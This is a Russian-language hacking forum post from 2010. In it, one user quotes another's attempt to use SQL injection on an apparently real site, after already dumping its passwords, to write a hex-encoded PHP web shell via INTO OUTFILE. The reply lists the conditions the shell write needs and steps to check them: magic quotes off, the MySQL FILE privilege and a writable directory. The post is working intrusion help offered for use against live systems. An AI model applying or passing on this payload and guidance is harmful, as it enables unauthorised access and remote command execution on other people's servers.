Показать сообщение отдельно

  #5  
Старый 03.02.2010, 16:57
.:[melkiy]:.
Постоянный
Регистрация: 25.01.2009
Сообщений: 368
С нами: 9100556

Репутация: 912
По умолчанию

Цитата:
Сообщение от $ereg@  
вообщем есть скуля) пароли вытащил, но они мне оказались никчему(
теперь пробую залить шелл, делаю запрос :
-999+union+select+1,2,0x3c3f206563686f205c223c70726 53e5c223b4073797374656d28245f4745545b5c22636d645c2 25d293b6563686f205c223c2f7072653e5c223b3f3e,4,5,6+ INTO+OUTFILE+'/var/www/bans/z.php'--

В ответ получаю ошибку:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '/var/www/bans/z.php-- ORDER BY date ASC' at line 1

пробовал убирать ковычки, дописывать ковычки, записывать путь в hex, ничего хорошего не вышло...
опытные кулхацкеры подскажите ламеру чё делать
Для того чтобы залился нужно:

1. magic_quotes_gpc = Off
2. file_priv Y
3. папка, доступная на запись

в поле, где выводятся цифры, напиши 's' , если вывелось s - magic_quotes_gpc = off.

делаешь запрос - ....from mysql.user where user= 'username' , username берёшь с того, что выводит user()

ну и нужно найти диру, в которую шелл загрузишь

_http://forum.antichat.ru/thread104591.html , см Вопрос №7
 
Ответить с цитированием